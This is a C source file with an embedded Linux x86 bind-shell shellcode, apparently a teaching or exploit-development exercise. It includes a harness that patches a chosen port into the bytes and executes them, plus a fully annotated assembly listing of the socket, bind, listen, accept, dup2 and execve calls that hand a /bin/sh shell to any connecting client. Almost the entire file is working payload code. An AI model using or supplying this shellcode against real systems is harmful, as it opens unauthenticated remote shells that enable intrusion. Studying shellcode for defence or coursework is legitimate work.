/*===================================================================*/ /* Filename: bindshell.c Author: JollyFrogs (LookoutFrog@gmail.com) License: This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License. Compile: gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell */ #include #include #include unsigned char shellcode[] = \ "\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97" "\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10" "\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89" "\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80" "\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x87\xe3\xcd\x80"; static bool shellcode_zerocheck() { // initialize counter int i = 0; // check each byte in shellcode array for hexidecimal zero value, return false if zero found for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode[i] == '\x00') return false;} // Return true if no zeroes found return true; } static bool shellcode_setport(char *buf, int port) { // Check if decimal port is valid if (port<1024 || port>65535) return false; // The offset of the port is 21, but reduce by 1 since the array counts from 0 int shellcode_port_offset = 20; // (\x15\xb3) // convert decimal port to hexidecimal *(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0 // Swap port bytes to accomodate for Little Endian memory structure char tmp = buf[shellcode_port_offset]; buf[shellcode_port_offset] = buf[shellcode_port_offset+1]; buf[shellcode_port_offset+1] = tmp; // Check if the hexidecimal port contains zeroes, if it does then show an error if (shellcode[20] == '\x00' || shellcode[21] == '\x00') { printf("port HEX contains zeroes\n"); return false; } // Return true if all checks passed return true; } main () { // Port in decimal - should be higher than 1024 and lower than 65536 int port = 1234; // Basic error checking if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;} if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;} // Print shellcode length. printf("Shellcode Length: %d\n", strlen(shellcode)); // Run assembly commands __asm__ ( // Initialize registers "movl $0x12345678, %eax\n\t" "movl $0x12345678, %ebx\n\t" "movl $0x12345678, %ecx\n\t" "movl $0x12345678, %edx\n\t" "movl $0x12345678, %edi\n\t" "movl $0x12345678, %esi\n\t" "movl $0x12345678, %ebp\n\t" // execute shellcode "jmp shellcode"); } /* Assembly source of shellcode: global _start section .text _start: ; parameters for SOCKET(2) are placed on the stack in reverse order ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol); ; Before instruction "int 0x80" the stack should look like: ; 02 00 00 00 01 00 00 00 00 00 00 00 ; ^AF_INET ^S_STREAM ^TCP xor eax, eax ; EAX = 00000000 push eax ; PUSH 00000000 (TCP) inc eax ; EAX = 00000001 push eax ; PUSH 00000001 (SOCK_STREAM) pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET) push eax ; PUSH 00000001 (SOCK_STREAM) inc eax ; EAX = 00000002 push eax ; PUSH 00000002 (AF_INET) ; invoke socketcall to create the socket mov al, 0x66 ; EAX = 00000066 (SOCKETCALL) mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4) int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2) xchg edi, eax ; store fd in edi ; parameters for BIND(2) are placed on the stack in reverse order ; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen); ; Before instruction "int 0x80" the stack should look like: ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00 ; ^FD ^ ^structlen ^AFNT ^port ^in_addr ; | PTR to ---------------^ pop ebx ; EBX = 00000002 (SOCKETCALL.BIND) pop eax ; EAX = 00000001 ; Note: Stack = 00000000 mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed) push ax ; PUSH B315 (sockaddr_2) push bx ; PUSH 0002 (sockaddr_3) mov ecx, esp ; ECX = ESP (0xBFFFF3E8) xor eax, eax ; EAX = 00000000 mov al, 0x10 ; EAX = 00000010 push eax ; PUSH 00000010 (len(sockaddr)) push ecx ; PUSH (*ADDR) (ptr to sockaddr) push edi ; push (FD) (SOCKFD) ; invoke socketcall to bind the socket to IP and port mov al, 0x66 ; EAX = 00000066 (SOCKETCALL) mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC) int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2) ; parameters for LISTEN(2) are placed on the stack in reverse order ; LISTEN(2) Synopsis: listen(int sockfd, int backlog) ; Before instruction "int 0x80" the stack should look like: ; 07 00 00 00 00 00 00 00 ; ^FD ^Backlog = 0 ; Note that EAX = 00000000 due to return code from SOCKETCALL above push eax ; PUSH 00000000 (Backlog) push edi ; PUSH (FD) (SOCKFD) ; invoke socketcall to set the socket in listen mode mov al, 0x66 ; EAX = 00000066 (SOCKETCALL) inc ebx ; EBX = 00000003 inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN) mov ecx, esp ; ECX = points to top of stack (0xBFFFF3D4) int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2) ; Note: The selected port is opened on the system and listening ; parameters for ACCEPT(2) are placed on the stack in reverse order ; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); ; Before instruction "int 0x80" the stack should look like: ; 07 00 00 00 00 00 00 00 00 00 00 00 ; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN ; Note that stack at 0xBFFFF3D4 already contains what I need: ; 07 00 00 00 00 00 00 00 00 00 00 00 ; invoke socketcall to set the socket to accept connections mov al, 0x66 ; EAX = 00000066 (SOCKETCALL) inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT) int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2) ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2) ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd); xchg eax, ebx ; EBX = CFD, EAX = 00000005 xchg ecx, edi ; ECX = 00000007 ; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3 redirect: dec ecx ; ECX = 00000002 (eventually) mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0) int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0) jnz redirect ; ; spawn /bin/sh shell ; Note that EAX is set to 00000000 upon last succesful execution of DUP2 push eax ; PUSH 00000000 (NULL byte) pop ecx ; ECX = 00000000 (EXECVE ARGV) push eax ; PUSH 00000000 (NULL byte) pop edx ; EDX = 00000000 (EXECVE ENVP) ; push '/bin//sh, 0' on stack push eax ; PUSH 00000000 (NULL byte) mov al, 0xb ; EXECVE(2) push 0x68732f2f ; "//sh" push 0x6e69622f ; "/bin" xchg esp, ebx ; Save a byte by sacrificing unneeded ESP int 0x80 ; Start /bin/sh in the client socket FD */ /*===================================================================*/